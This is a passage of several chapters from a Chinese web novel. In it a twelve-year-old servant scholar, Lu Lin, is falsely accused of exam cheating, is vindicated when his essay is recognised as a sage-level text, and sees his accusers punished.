此刻的刘大人面沉如水,眉头紧皱。 一个小小县试的案首,竟能压过崔家嫡子。 这已经不是舞弊,这是赤裸裸的羞辱。 这时,布政使袁大人不动声色,朝着人群中的孙行之,递去一个眼神。 孙行之微微点头,同时心领神会,知道这会该轮到自己了。 他深吸一口气,从人群中走出,抢在县尊吴井元之前,对着魏长青深深一揖。 “学政大人容禀。” “我等并非心胸狭隘,存门户之见。” “若是哪位寒门天才,凭借真才实学拿下案首,我等非但不会嫉妒,反而会心悦诚服,引为知己。” “可这卢璘,不过是柳府一介书童。” “以奴籍之身,拿下案首,叫我等如何心服口服。” 一番话说得有理有据,先拿卢璘的奴籍身份做筏子,挑起对立。 “什么?竟然是奴籍?” “一个家奴,压过了崔家嫡子,成了案首?” 见围观众人一个个情绪被奴籍二字成功挑起,孙行之心里冷笑一声,继续侃侃而谈: “虽说,我大夏朝有教无类,奴籍亦可参加科举,我等并无异议。” “可自开朝以来,何曾有过奴籍拿下案首的先例?” “莫不是,他这柳府的书童,与别家的书童,生来便不一样?” 议论声再次响起,而且成功地被孙行之带偏到了柳府。 “柳府的手,未免也伸得太长了些!” “他家的书童是金子做的,还是墨水都是圣人亲赐的?” “吴大人这是急不可耐想攀上柳阁老的高枝啊!” 人群中,布政使袁大人嘴角微不可查地扬了扬,心中暗赞一声聪明。 外甥听懂了自己的意思,而且应对得不错。 话里没有一个字指向柳阁老,可每一个字,都在将柳家架在火上烤。 不远处,少爷闻言,当时就一个激灵,心里一团火被点着了。 这特娘的哪里是质疑璘哥儿,分明是借题发挥,冲着柳家,冲着他爷爷来的。 少爷只觉胸中一股火气直冲头顶,刚要张口反驳。 一只手却从旁伸来,轻轻按住了他的胳膊。 少爷一愣,转头便对上了璘哥儿平静无波的眼神。 眼神里没有半分慌乱,只有示意他稍安勿躁。 少爷把到了嘴边的话,硬生生咽了回去,只是狠狠地瞪着孙行之。 魏长青闻言,眉头微微皱起。 他当然知道卢璘是奴籍,卷宗上写得明明白白。 可他只想就事论事,彻查科举舞弊,并不想将此事牵扯到与柳阁老。 魏长青这副神情,落在众人眼中,却成了对柳府嚣张行径的极度不满。 孙行之见状,心中大定,立刻乘胜追击,准备把舞弊一事做成定局。 “大人,舞弊一事,已是确凿无疑。” “县尊吴大人心虚,拿不出卢璘的考卷,这是物证。” “卢璘身为柳府书童,柳府也有这个能力在县试中上下其手,这是动机。” “除此之外,我们,还有人证。” 人证? 此话一出,不止是魏长青,连一旁的县尊吴井元和教谕都愣住了。 卢璘眼中也闪过一丝意外。 上百道目光,齐刷刷地汇聚在孙行之身上。 只见孙行之转身,朝着人群中一指。 一个身影被两个学子连拉带拽地推了出来,踉跄着站到众人面前。 正是大伯。 “此人,名为卢安,乃是舞弊一案中卢璘的亲大伯。” “卢璘自小的学问,便是由这位大伯启蒙。” “可这位卢安先生,科考数十载,至今连院试都未曾通过。” 孙行之顿了顿,冷笑一声,目光在卢璘和大伯身上打了个转,声音陡然拔高。 “敢问诸位,敢问学政大人。” “一个考了几十年都考不中童生的庸才,如何能教导出一个年方十二,便能力压崔家嫡子的县试案首?” “这,难道还不够清楚吗?” 人群中,再次爆发出议论。 “原来如此,他大伯就是个老童生。” “是啊,我认识他,在清河县考场都混成老油子了。” “这就说得通了,一个废物点心,怎么可能教出个天才来。” “舞弊,绝对是舞弊!” 被推到人群中间的这一瞬,大伯只觉得双眼发黑。 艰难抬起头一看,临安府三司主官,还有那黑压压一片的学子与百姓。 以及官位最大的江南道学政,魏大人。 几百道目光齐刷刷地落在大伯身上。 大伯何曾见过这等场面,两腿一软,膝盖骨不受控制地打着颤。 心里早已把卢璘骂了千百遍。 该死啊,这个扫把星,舞弊就舞弊,为何偏偏要和自己扯上关系。 魏长青看着眼前不堪的大伯,开口发问: “你就是卢璘的大伯?” “抬起头来。” “本官问你,你有何证据,证明卢璘在县试中舞弊?” 虽然在魏长青心中,舞弊一案几乎已成定局。 可国法昭昭,科举是国之大典,凡事,终究要讲一个证据确凿。 大伯被一声冷喝吓得一个激灵,猛地抬头,对上魏长青那双几乎要洞穿人心的眼眸,心里更慌了。 第一次和这等人物打交道,可确实这样的场合。 大伯现在只想把自己从这滩浑水里摘出去,撇得越干净越好。 慌乱之下,大伯努力维持着身子,颤颤巍巍的开口: “大人!学政大人明鉴!” “我是他大伯没错,可他早就被卖到柳府去了啊!” “他舞弊的事,跟我可没有半点关系!” “我……我这次县试都没下场,里面的事,我真的什么都不知道啊!” 第68章 当不得我清河县的案首! 魏长青的眉头,不着痕迹地皱了一下。 “这么说,你拿不出证据?” 大伯看到学政大人脸上那一闪而过的不悦,再感受到周围学子们投来的目光,整个人都快要疯了。 压力大得根本扛不住,慌乱之下,口不择言: “有!有证据!学政大人,我有证据!” “这小子平时疏于学问,仗着主家喜爱,三天两头就往我弟弟家里跑,哪有半分读书人该有的样子!” “他还醉心商贾之事,满脑子都是铜臭气!” “也就是当初在下河村老家,许是受了我的影响,写了……写了一首歪诗,被那些乡野村夫吹捧成什么神童,这才得了主家喜爱和赏钱。” “可他转头拿了赏钱,就撺掇着我那没出息的弟弟,跟我老父亲分了家!” 大伯越说越激动,将自己能想到的,所有能抹黑卢璘的事情,一股脑地全倒了出来。 神童二字,再次钻入魏长青的耳朵里。 神童? 六岁能成诗? 魏长青再度皱眉。 人群中,少爷胸膛剧烈起伏,拳头捏得咯咯作响。 这特娘的算什么狗屁大伯! 竟然当着这么多人的面,把黑的说成白的,如此抹黑自家亲侄子! 少爷可是清楚的知道,璘哥儿一家接济了多少次这个大伯,可换来的确实这种抹黑。 他转头看向璘哥儿,只见璘哥儿面沉如水,眼神冰冷。 少爷默默地叹了口气,哎,摊上这种亲戚,璘哥儿心里该有多难受。 不远处,孙行之听到这番话,心中狂喜,知道此事到了这一步,已再无半点悬念。 他上前一步,对着魏长青深深一揖,声音朗朗,传遍全场。 “学政大人,如今人证物证俱在,此事确凿无疑!” “不过是被几个乡野村夫夸赞几句,便真当自己是天纵奇才。” “祖父在堂,却唆使分家,此为不孝!” “身为家奴,却惹出滔天大祸,连累主家声誉,此为不忠!” “科场舞弊,玷污圣贤之道,此为无耻!” 说到这里,孙行之声音陡然拔高,目光如刀,直刺卢璘。 “此等不忠不孝,无廉无耻之徒,根本不配为读书人!” “我等羞于与之为伍!” 不忠不孝,无廉无耻。 这八个字,对于一个读书人而言,无异于诛心之言。 人群瞬间被点燃,议论声此起彼伏。 “说得对!此等败类,根本不配为读书人!” “祖父在堂,却唆使分家,此为大不孝!” “科场舞弊,玷污圣贤之道,简直是我辈之耻!” “必须严惩!将他逐出士林,永不录用!” 一声声讨伐,一道道鄙夷的目光,齐刷刷地刺向卢璘。 少爷的脸色唰的一下变得惨白。 这已经不是区区一个案首之争了。 这是要把璘哥儿往死里整,要彻底毁掉他身为读书人的根基。 一旦这八个字的评价被坐实,璘哥儿这辈子,都别想在科举之路上再进一步。 这比杀了他,还要残忍。 魏长青面沉如水,缓缓点头。 在他看来,此事差不多已经是盖棺定论。 他将目光从大伯身上转向了县令吴井元。 “人证物证俱在。” “吴井元,你还有何话要说?” 所有人都看得出来,魏长青看吴井元的目光像是看死人无疑。 可就在这千夫所指的时刻,吴井元非但没有半分慌乱,反而笑了。 本该充满惶恐的脸上,竟露出了淡淡的笑。 他对着学政魏长青,不卑不亢地抬手一揖。 “学政大人,可否容下官,与这位卢安先生说两句?” 魏长青眉头微蹙,有些意外。 不过,他做事向来喜欢让人口服心服。 哪怕下一刻就要摘掉吴井元的乌纱帽,他也要让对方败得明明白白。 “准。” 吴井元转身走向早已吓得魂不附体的大伯。 “卢安。” 大伯闻言一个激灵,茫然地抬起头。 “本官问你,你方才提及,卢小友六岁时曾作过一首诗?” 大伯整个人都懵了。 卢小友? 都这种时候了,县尊大人为何还对卢璘如此客气? 他不该是立刻撇清关系,将所有罪责都推到柳府和卢璘身上吗? 大伯心中疑惑,嘴上却不敢怠慢,哆哆嗦嗦地回答:“是……是的,大人。” “可记得全诗?若还有印象,请当着大家的面,将诗复述一遍。” 大伯微微一愣,这都什么时候了,还提什么诗? 但他不敢违逆,只能努力地在混乱的记忆中搜寻着。 片刻之后,大伯终于想了起来,磕磕巴巴地念出了声。 “慈母手中线,游子身上衣。” “临行密密缝,意恐迟迟归。” “谁言寸草心,报得三春晖。” 当最后一句诗念完,现场罕见地安静了一瞬。 在场不少学子和百姓,脸上都露出了动容之色。 吴井元抓住这一瞬间的静默,摇头感叹: “好一个谁言寸草心,报得三春晖!” 他猛地转身,目光扫过全场。 “诸位听听,六岁的稚童,便能道出如此反哺之言,将人子之心,描摹得淋漓尽致。 “六岁稚子,便能有此感悟,此等纯孝之心,竟被尔等污为不孝?” 此言一出,现场一片哗然。 “六岁……能作出这等诗?” “此诗意境深远,情感真挚,确是佳作,当得起一个神童之名。” “可……可这和舞弊又有什么关系?小时了了,大未必佳,古来有之。” 人群的议论声中,孙行之脸色一沉,立刻站了出来,冷声反驳。 “县尊大人,一首出县之作,又能代表什么?” “在场的同窗,能作出此等诗篇的,亦不乏其人,难不成个个都是案首的料子?” “卢璘或许小时聪慧,可这不正说明,他后天疏于管教,走了歪路吗?” “您想凭一首不知真假的旧作,就为他洗脱舞弊的嫌疑,未免也太异想天开了吧!” 面对孙行之咄咄逼人的质问,吴井元不气反笑。 他摇了摇头,摆了摆手。 “你误会了。” “本官并无此意,只是单纯好奇,想了解一下卢小友六岁时,能作出何等佳作罢了。” 吴井元仍旧是一副云淡风轻的样子。 可说来说去,一点也没洗清卢璘舞弊的嫌疑。 圣院大门前,魏长青的脸色,彻底沉了下来。 这吴井元,莫不是失心疯了。 在他看来,吴井元这番举动,就是在拖延时间,简直荒唐至极。 就在魏长青即将爆发之际。 只见吴井元转头,目光直视着魏长青,脸上的笑意尽数收敛。 “学政大人。” “正如此人所言,一首出县之作,确实代表不了什么。” “别说出县了。” 吴井元顿了顿,声音陡然拔高。 “便是崔氏嫡子崔皓,在县试之中,写出了一篇达府文章,都当不得我清河县的案首!” 吴井元此言一出,现场一片死寂。 所有人都被这个消息震得头皮发麻。 达府文章! 那可是足以在府试中都名列前茅的水平。 吴井元没有给众人反应的时间,他直视魏长青,问出了一个所有人都好奇的问题。 “大人,您说。” “我吴井元,一个小小七品县令,是何来的胆子,敢为了攀附柳家,而去得罪五姓七望的千年崔氏?” “我,当真如此不智吗?” 是啊。 柳阁老虽是当朝阁老,权倾朝野。 可比起那根深蒂固,门生故吏遍天下的千年世家,终究还是差了些底蕴。 吴井元,好歹是一县之尊,又怎么会做出如此不智,如此疯狂的举动? 第69章 吴井元,你胆大包天! 魏长青听到《游子吟》的诗句,眉头微微舒展。 六岁稚童,能有此情真意切,能有这等赤子之心,确实难得。 若是此诗为真,那这卢璘称得上一个神童之名。 可这念头只是一闪而过。 神童,与县试舞弊,是两码事。 一旁,那位身着武将官服的都指挥使陈汉升闻言,面露思索之色。 他和吴井元打过几次交道,也知道这个清河县令在官场中的口碑。 临安府下辖数十县,清河县的民生、经济、教化,一直都稳居前列。 吴井元此人,绝非一个只知钻营的脓包。 让他为了攀附一个远在京城的柳阁老,而去得罪根基深厚的清河崔氏,这等不智之举,不像吴井元的行事风格。 难不成卢璘这个案首,真是实至名归? 县试种写出了比达府更惊艳的作品? 众人各有猜测,吴井元并未理会众人的心思,只是环视全场,一副胸有成竹的淡然。 “崔家嫡子,不愧是世家麒麟,其县试策论,以孝悌为题,实乃一篇达府之作。” 吴井元也不卖关子,当众朗声念诵崔皓的达府之作。 “孝在养志,悌在守心。” “父母生我以形骸,圣贤教我以仁义,故孝非惟奉膳,悌不独恭行。” 短短几句,便让在场学子精神一振,不少人露出叹服之色。 吴井元顿了顿,继续念道。 “昔曾子耘瓜受杖而不怨,是谓以孝修身;子路负米百里而不倦,是谓以悌济家。此二子者,未居庙堂之高,然孝悌所至,巷陌生辉。” “故曰:孝悌非为名也,乃为己立心;非为达也,乃为生民立命。苟能以此心推之,虽布衣亦堪为天下法。” 文章念罢,现场赞叹之声不绝于耳。 在场都是读书人,当然能够鉴赏文章作品的优劣。 “好一个为生民立命,以小见大,立意高远!” “引经据典,阐述精妙,确是达府之作,我等输得心服口服。” “不愧是崔家嫡子,临场能有这等文章,我等不及也。” 孙行之的脸上疑惑之色更重了,确实是达府经典。 能够压过这篇文章的,该是何等惊世骇俗之作? 一个十二岁的奴籍书童,怎么可能写得出来! 吴井元看着众人反应,微微一笑,话锋一转。 “崔皓的文章,固然是上上之选。” “但卢璘的文章,却更胜一筹。” 他清了清嗓子,在万众瞩目之下,缓缓念出了卢璘考卷的开篇。 “孝以事亲,悌以敬长,此圣人立教之本,人伦所先也。” 仅仅一句,便让在场所有人的表情凝固了。 大道至简。 这一句开篇,直接点明了孝悌的根本,远比崔皓那篇旁征博引的开篇,来得更加直指人心。 吴井元不给众人思索的时间,继续念了下去。 “夫孝,始於事亲,中於事君,终於立身,三才之道备焉。” “家为孝之本,《孝经》云:‘身体发肤,受之父母,不敢毁伤。’父在观其志,父没观其行,三年无改於父之道,可谓孝矣。是故孝者,家道之所系。” “乡乃悌之基。《论语》云:‘宗族称孝焉,乡党称悌焉。’尊耆老而恤孤弱,礼敬长者,友善兄弟,悌之施也。如此,则家齐国治,天下太平。” 随着吴井元一句句念出,现场的议论声越来越小。 所有人都被这篇宏文的格局与气魄给震住了。 一条读书人进阶的道路清晰地展现在他们眼前。 从个人修身,到家庭和睦,再到乡里和谐,最终指向国泰民安。 “是故,修身齐家治国平天下也。” 这九个字一出,全场肃静。 修身、齐家、治国、平天下。 九个字,将儒家千百年来的至高追求,以一种前所未有的方式,层层递进,完美地串联在了一起。 整个圣院门前,陷入了长久的死寂。 针落可闻。 在场众人都瞪大了眼睛,张大了嘴巴,脸上写满了震撼。 良久才有零星的议论声传来,更多人还沉浸在对九个字的思索当中。 “天……天哪!” “修身齐家治国平天下……这……这……” “这简直是……是为我辈读书人,立下了万世不易的准则!” 人群中,孙行之第一个反应过来,脸色顿时变得惨白,口中喃喃自语,这等宏文,怎么可能在一场小小的县试里写出,又怎么可能是一个十二岁的书童写出? 不远处的余程友更是双腿发软,一屁股瘫坐在了地上,眼神空洞,自己这是惹到什么人了? 文曲星下凡也不过如此,正常人怎么可能写出如此文章,给全天下读书人指明了一条路啊! 大伯张大了嘴巴,眼珠子瞪得溜圆,彻底傻了,这是璘哥儿写出的文章?比达府经典还厉害,得是什么品级的作品啊? 吴井元对众人的反应毫不意外。 因为他第一次看到原稿时,震撼的感觉比眼前这些人还要离谱。 他平静地看着这一幕,目光最终转向了学政大人。 吴井元想看看,听到这篇文章,魏大人还有什么话好说。 可这一看,吴井元却愣住了。 只见魏长青并没有想象中的震惊和赞叹,而是脸色铁青。 素来沉静的脸上,此刻竟然被气得双颊跳动。 魏长青双眼喷火,死死地盯着吴井元,咬牙切齿,缓缓从口中吐出一句话: “这……就是你说的,卢璘的县试考卷?” 吴井元下意识地点了点头,心中充满了疑惑。 魏大人这是什么反应? 难道这等传天下之文,还不足以让他信服? 下一秒,魏长青的怒火,彻底爆发。 “吴井元!” 一声怒斥,震得所有人耳膜嗡嗡作响。 “你伪造神童,本官可以忍。” “你县试舞弊,本官也能查!” “我只当你是个利欲熏心的读书人,却没想到,你连读书人最基本的风骨与廉耻,都丢得一干二净!” 魏长青猛地一指吴井元,声音满是暴怒。 “此乃刻印在圣院内,传天下之圣文《圣策九字》。” “你竟敢公然抄袭剽窃,将这等传世佳作,安在一个十二岁书童的头上,据为己有!” “吴井元,你胆大包天!” 此言一出,全场哗然。 “什么?这是圣院刻录的传天下文章?” “难怪刚才听后,整个人头脑清晰....” “吴井元胆子也太大了,居然敢贪天功。” “传天下的宏文也敢安在一个十二岁的书童上......” 人群中,孙行之和余程友闻言,刚刚还空洞的眼神,再度放光。 大伯也如释重负,长叹了一口气:“我就知道,卢璘怎么可能写出这等文章,连我都写不出来,原来是抄的啊!” 第70章 半师之礼 大夏三京二十六府,每一座府城圣院分院都有传世阁分部。 临安府圣院当然也不例外。 阁中供奉的,皆是大夏开朝以来,足以传天下的圣贤宏文。 每一篇,都由文道自行运转,以才气为墨,刻印于特制的玉璧之上,供后世瞻仰。 而处在翰林境已久的魏长青处理完公务,最常去的地方,便是传世阁。 希望能从传世经典文章中有所收获,帮助自己踏入大儒之境。 尤其是近几日,他几乎将所有闲暇时光,都耗在了一块新出现的玉璧前。 玉璧上的九个字。 修身、齐家、治国、平天下。 魏长青第一次看到,就被深深地吸引了。 短短九字,却仿佛蕴含着无穷的奥妙,为天下读书人指出了一条清晰无比,却又至高无上的通天大道。 再仔细看文章内容,越发觉得作者把读书人的道路阐述得精妙。 魏长青每每观之,都觉心神激荡,困扰多年的瓶颈,竟有松动之兆。 他甚至觉得圣策九字的作者,虽未曾谋面,却已胜过自己半师。 甚至连之前因为佛门妖孽而被削减的才气,都隐隐有些恢复。 魏长青猜测,或许是哪位隐世不出的大儒,因佛门一事,特意写了这篇宏文,消除才气削减的影响。 为此,他还特地修书数封,送往京城,遍问师友同僚,想要知道这篇惊世宏文,究竟出自何人之手。 可他万万没有想到。 自己奉若圭臬,引为指路明灯的圣策,今日竟会以这样一种荒唐的方式,出现在自己面前。 被人当众抄袭。 还安在了一个十二岁的书童头上。 这让魏长青如何不愤怒,恨不得马上剐了吴井元的皮。 一旁的县尊吴井元,在最开始愕然之后,心中却是一片雪亮。 原来如此。 卢小友的文章,这么快就被刻入了传世阁。 县学没有传世阁,他根本无从得知这个消息。 反应了过来,吴井元有些哭笑不得。 他还以为连传天下级别的文章都不能入魏大人的眼。 原来并非不认可。 恰恰相反,是太认可了。 正是太推崇这篇文章,才会因为抄袭之事,而愤怒到无以复加。 误打误撞,竟是这么个结果。 可吴井元这副哭笑不得的神情,落在魏长青眼中,确实更加荒诞。 心中怒意再难压抑。 就当魏长青准备下令,将吴井元当场拿下,将舞弊案彻底定性之时。 只见吴井元朝着人群中,高声喊了一句。 “卢小友,你再不出来,本官今日,怕是要被魏大人生吞活剥了。” 声音中满是无奈。 到了这一步,吴井元实在没办法了,只有让卢璘亲自来证明。 瞬间,所有人的目光,都齐刷刷地朝着吴井元视线的方向望去。 万众侧目之下。 卢璘缓缓从中走出,身姿挺拔,步履沉稳。 清秀的脸上看不出喜怒。 即便面对着众人的目光,也没有丝毫慌乱。 那份超乎年龄的沉静与从容,让在场不少人都为之一愣。 魏长青也看到了朝自己走来的卢璘,下意识地皱起了眉头。 皮囊倒是生得不错,温润如玉,翩翩公子,气度从容。 可一想到此人竟敢做出抄袭圣文这等无耻之事,魏长青便涌起一股强烈的反胃。 金玉其外,败絮其中。 卢璘走到场中,对着上首的魏长青,不卑不亢地躬身一礼。 “清河县学子卢璘,拜见学政大人。” 魏长青冷着脸,看都未看他一眼。 吴井元上前一步,对着魏长青,郑重地介绍道。 “大人,这位,便是在县试中,写出那篇圣策宏文的卢璘,卢小友。” 说完,他转头看向卢璘,催促道: “卢小友,还愣着做什么。” “快把你的原稿拿出来,给学政大人过目。” 在数百道目光的注视下,卢璘缓缓从怀中取出了一张微微泛黄的稿子。 稿纸入手。 魏长青手中传来触感,是县试常用的稿子。 下一秒,视线落在稿纸上。 仅仅一眼,魏长青便愣住了。 映入眼帘的,是铁画银钩般的字迹。 笔锋锐利,藏着一股开山断岳的气势。 风骨天成,隐隐有自成一派的气度。 这绝非一个十二岁孩童能写出的字。 没有几十年在书法一道上的浸淫,绝对达不到这种层次。 更重要的是,这字迹,魏长青再熟悉不过了。 和传世阁玉璧上的字体一模一样。 难不成,今天真的能得见圣策九字的原稿? 魏长青压下心头的震动,目光下移,开始逐字逐句地审阅文章。 时间,在这一刻仿佛被无限拉长。 圣院门前,死一般的寂静。 所有人都屏住了呼吸,目光汇聚在魏长青的脸上。 人群中,孙行之的心,一点点沉了下去。 他死死地盯着魏长青的表情,心中不断地呐喊。 装的!一定是在装模作样! 一个十二岁的奴籍竖子,怎么可能写出传天下之文! 这不合常理! 他身后的余程友,脸色更是惨白如纸,双腿不受控制地轻轻颤抖。 他有一种预感。 自己好像……惹到了一个根本惹不起的存在。 不,不可能! 难不成真的是文曲星下凡不成? 他怎么可能写出这种文章,那岂不是说,他真的能为天下读书人指明道路? 不远处,大伯看着脸色逐渐变幻的学政大人,内心疯狂咆哮。 抄的! 一定是抄的! 卢璘几斤几两,我这个做大伯的还不清楚吗! 他要是能写出这种文章,我名字倒过来写! 良久。 魏长青终于动了,他抬起头,目光落在了卢璘的身上。 以一种晚辈看待前辈,学子仰望宗师的目光望向卢璘。 在所有人惊愕的注视下。 魏长青双手捧着原稿,朝着卢璘深深地弯下了腰。 青色的官袍垂落在地。 一个标准至极的九十度长揖。 此乃,半师之礼。 “学生魏长青,听闻大道,如拨云见日。” “此礼,为天下读书人而行。” “谢小友,为我辈指出通天之路!” 全场瞬间死寂。 只有风,吹过圣院门前,卷起几片落叶的声音。 孙行之脸上再无血色,整个人摇摇欲坠,双眼发黑。 完了。 一切都完了。 大伯更是永远忘不了眼前这一幕。 自家侄子卢璘,坦荡的接受了江南道最高学官的半师之礼。 “这个是我侄子啊,这是我侄子啊!打断骨头连着筋啊。” “一笔写不出两个卢字啊!” 大伯心里狂呼,转头就把刚才抹黑污蔑卢璘的事忘得一干二净。 第71章 反坐其罪! 大伯手脚并用,麻利地从地上起身,而后近乎连滚带爬地冲到魏长青和卢璘的身边。 激动的脸上满是谄笑。 “魏大人!魏大人明鉴!” “我是璘哥儿的大伯,亲的,亲亲的大伯!” 他一边说,一边还用手指了指自己,生怕别人不知道。 “我打小就看出来了,我们家璘哥儿,以后绝对是有大出息的!” “要不然,我也不会费心费力地给他启蒙,教他读书识字啊!” “可以说,没有我,就没有璘哥儿走上读书人这条路的事,更没有他今日写出传天下宏文的一天!” 说完,他又急切地转向卢璘,语气里满是亲热。 “璘哥儿,我的好侄儿,你可不能忘了大伯啊!” “你爷爷还指望着大伯我能考上个秀才,光宗耀祖,可不能忘了爷爷对你的好啊!” 大伯心里想的美极了。 学政大人这层关系要是能搭上,还愁什么秀才? 这可是江南道的天,是江南道百万读书人的天! 魏大人对璘哥儿都行半师之礼,我这个当大伯的,怎么也能沾上点光吧。 不远处,少爷看着大伯那副不要脸的嘴脸,胃里一阵翻江倒海。 刚刚还把璘哥儿卖得一干二净,恨不得踩进泥里。 连不忠不孝,毫无廉耻,不配当读书人这种话都能说得出,巴不得璘哥儿死。 现在风向一变,就舔着脸凑上来攀关系。 真是无耻到了极点。 卢璘对身旁大伯的聒噪充耳不闻。 他看着依旧保持着躬身姿态的魏长青,上前一步,伸出双手。 “大人言重了。” 卢璘轻轻将魏长青扶起,动作平稳。 魏长青被扶起,看着眼前不卑不亢的卢璘,心里默默感叹,真是翩翩君子啊,难怪能写出这等锦绣文章。 一旁的大伯还在喋喋不休的大伯,嘴里嘟囔着:“魏大人,魏大人,学生今年也要参加院试,虽说十拿九稳,但还是有些学问上的疑惑,不知魏大人能否解惑....” 魏长青一挥手,锐利眼神一扫,大伯立马噤声。 他郑重地举起双手,将原稿递还给卢璘。 一旁县尊吴井元捋着长须,笑呵呵地开口: “学政大人,您看,这便是下官先前迟迟不肯公布考卷的缘由。” “非是下官有意隐瞒,实在是卢小友此文太过惊世骇俗,蕴含天地至理。” “在场的学子们,大多连文位都无,心神浅薄,若是强行观之,只怕会为其间浩瀚的文道真意所伤。” “若不是大人您亲临,他们恐怕根本无法领会其中万一。” 魏长青闻言点头,转头看向吴井元,眼含赞许。 “你做得对。” “此等圣文,确非寻常人所能观摩,你保护此文有功,为我大夏文道立下了一件大功。” 他语气一顿,接着说道。 “清河县在你的治理下,能出卢小友这等麒麟之才,此乃你教化得力之功。” 吴井元闻言,精神为之一震,脸上更是难掩振奋之色。 虽然魏大人并没有许诺任何实质性的东西,但单凭今天这番话,凭着发掘卢璘这份泼天功劳,自己未来的仕途,已是一片坦途。 人群中,提刑按察使刘大人与都指挥使陈汉升默默交换了一下眼神,暗自摇头。 魏长青本就强势,如今又有了这份教化之功。 江南道岂不是他一个人说了算。 布政使袁大人则面无表情地看着不远处的孙行之,忍不住摇头。 完了。 这孩子今后的路,怕是彻底断了。 孙行之也感受到了舅舅失望的目光,他当然知道这意味着什么。 得罪了一个能写出传天下宏文的当世大才。 得罪了对他行半师之礼的学政大人。 这两座大山压下来,别说舅舅,就是天王老子来了,也保不住自己。 科举这条路是别想了。 一旁的余程友同样面无血色,环顾四周,同僚们投向自己的目光,冰冷得像是在看一个死人。 虽说其他考生学子在上访一事上有责任,但谁都知道自己是组织者。 ......... 吃了颗定心丸的吴井元,此刻心情大好,但也没忘记自己的职责,对魏长青开口道: “魏大人,您看,这事该如何收尾。” 魏长青摇了摇头,拉住卢璘的胳膊,态度亲切。 “小友,此地人多嘈杂,非是谈话之所,请随我入圣院一叙。” 说着,他便要拉着卢璘向圣院大门走去。 在踏上台阶,即将迈入朱红大门之前,魏长青忽然停下脚步,回过头。 “吴大人,收尾的事交给你,按我大夏朝律法正常执行即可,诬告何罪?” 说完,不再停留,拉着卢璘走进了圣院。 吴井元看着卢璘和魏长青的身影消失在门后,缓缓转过身。 刚刚还一脸和煦的笑容,瞬间沉了下来,不怒自威。 他目光扫过阶下黑压压的人群,声音不大,却清晰地传到每个人耳中。 “依我大夏律,诬告何罪?” “反坐其罪!”一旁的教谕立刻朗声应答。 反坐其罪。 以其所告之罪,反坐诬告之人。 他们告的是科场舞弊,那么等待他们的,便是舞弊之罪。 轰的一声。 前来上访的学子们脑中一片空白,人群顿时炸开了锅。 “大人饶命啊!我们就是来看个热闹!” “是啊吴大人,我们都是被那孙行之和余程友煽动的,一时糊涂啊!” “大人,我们都是清河学子啊,您可是我们的父母官,怎忍心看我等前途尽毁啊!” 求饶声,哭喊声,此起彼伏。 吴井元面无表情,抬手一挥,制止了众人的喧哗。 “本官只诛首恶,不搞牵连。” 他心里清楚,这上百号学子,大半都是被人挑起了对立情绪,跟着起哄罢了,真正心怀叵测的,只有那么几个。 况且,这些人都是清河县的读书种子,若是全都处置了,他这个县令的教化之功也就成了笑话。 听到这话,学子们如蒙大赦,长长舒了一口气。 下一秒,所有人的目光,都齐刷刷地投向了人群中的孙行之与余程友。 眼神中充满了怨毒与憎恨。 孙行之和余程友脸上最后一丝血色褪尽,如坠冰窟。 偷鸡不成蚀把米。 他们只觉得天旋地转,眼前发黑。 吴井元的声音悠悠响起,宣判了他们的结局。 “孙行之,余程友,煽动学子,诬告案首,罪大恶极。” “判,反坐舞弊之罪,革除功名,永不录用。” “判,流绞监候!” 大夏朝律法,科场舞弊量刑极重。 夹带小抄者,停考三科,整整九年。 请人代笔者,本人与代笔之人一同流放三千里。 冒用籍贯者,永世不得参加科举。 而最严重的,便是贿赂考官,扰乱科举,其罪等同谋逆,判处绞监候,只待秋后问斩。 吴井元选择的,正是最严酷的刑罚。 因为他们这次诬告的,不仅仅是一个普通的案首。 更是一篇传天下的圣贤宏文,是一颗冉冉升起的文道新星。 此罪,不容宽恕。 第72章 文曲星下凡何异? “不!” 孙行之和余程友发出一声嘶吼,两眼一翻,直挺挺地晕了过去。 其余学子看着这一幕,心中庆幸不已。 可他们还没庆幸多久,吴井元声音再次响起。 “首恶已除,从犯亦不可免。” “死罪可免,活罪难逃。” “所有参与鸣鼓申冤者,各杖一百!” 圣院外的衙役们闻声而动,手持水火棍,如狼似虎地冲进人群。 哀嚎声顿时响成一片。 连大伯也被两个衙役一把架住,拖向长凳。 “冤枉啊!大人,冤枉啊!” “我是璘哥儿的大伯!我是来给我侄儿证明清白的!” 衙役们动作一顿,看向吴井元。 吴井元面无表情,没有半分触动。 他可清楚地记得,这个亲大伯,方才如何颠倒黑白,恶毒地抹黑卢小友。 全场唯一免于杖责的,只有少爷。 此刻正满场乱窜,兴高采烈地看着这群被打屁股的学子,活像一只进了米仓的老鼠。 “哎哟,这个屁股真白!” “快看快看,那个屁股上有颗痣!” “打重点,对,就是他,刚才喊得最大声!” ................ 与此同时,圣院不远处,沈夫子的身影一闪而逝。 下一刻,临安府最出名的销金窟,烟雨楼内。 一位落魄书生正斜倚在软榻上,闭目听着堂间小曲,身旁还有一位娇俏的小娘子,正为他斟着花酒。 沈夫子在他身旁坐下,自顾自倒了一杯酒。 轻抿一口后,一脸郑重其事地开口问道。 “师兄,我记得师父他老人家时常夸奖你,说你是咱们心学一派最有天赋的学生,日后心学的衣钵,便要靠你来继承了。” “师父当年,究竟是如何认定的天资的?” 落魄书生闻言,眼皮都未抬,嘴角却带上了一丝笑意。 这木头师弟什么时候这么上道了? 知道自己正在这烟花之地,还特意递过来梯子,好让自己在美人面前显摆一番。 落魄书生慢悠悠地睁开眼,嘴角带笑: “当年我参加科举殿试,在御前写下了一篇镇国级别的心学策论。” “那一年,我才十六。” 沈夫子闻言,脸上露出由衷的感叹之色。 “佩服,佩服。” “果然不愧是师兄,当真是咱们心学天资最高的弟子。” 落魄书生闻言一脸洋洋得意。 却听到沈夫子话锋一转。 “那请问师兄,十二岁第一次参加县试,便当场写出传天下之宏文,与你这十六岁的镇国策论相比,哪个天资更高?” “师弟愚钝,还请师兄解惑。” 落魄书生刚准备喝酒,闻言手上一顿,眉头微皱。 什么意思? 这老小子,是故意来打趣我的不成? 别说大夏,纵观文道昌盛数千年,也从未听闻过十二岁能写出传天下文章的人。 这老小子从哪听来的荒唐传说? 他忍不住轻笑一声: “除非是至圣先师在世,否则怎么可能有这等人物?” “你师兄我十六岁写出镇国策论,这等天资,便已是文道的天花板了,要不然,如何能成为最年轻的大儒?” 沈夫子也不争辩,只是反问一句。 “若真有这等天资的读书人呢?” “该当如何?” 落魄书生闻言,笑声更加放肆,酒杯重重往桌上一顿。 “若真有此等人物,与文曲星下凡何异?” “我便拜他为师又如何!” 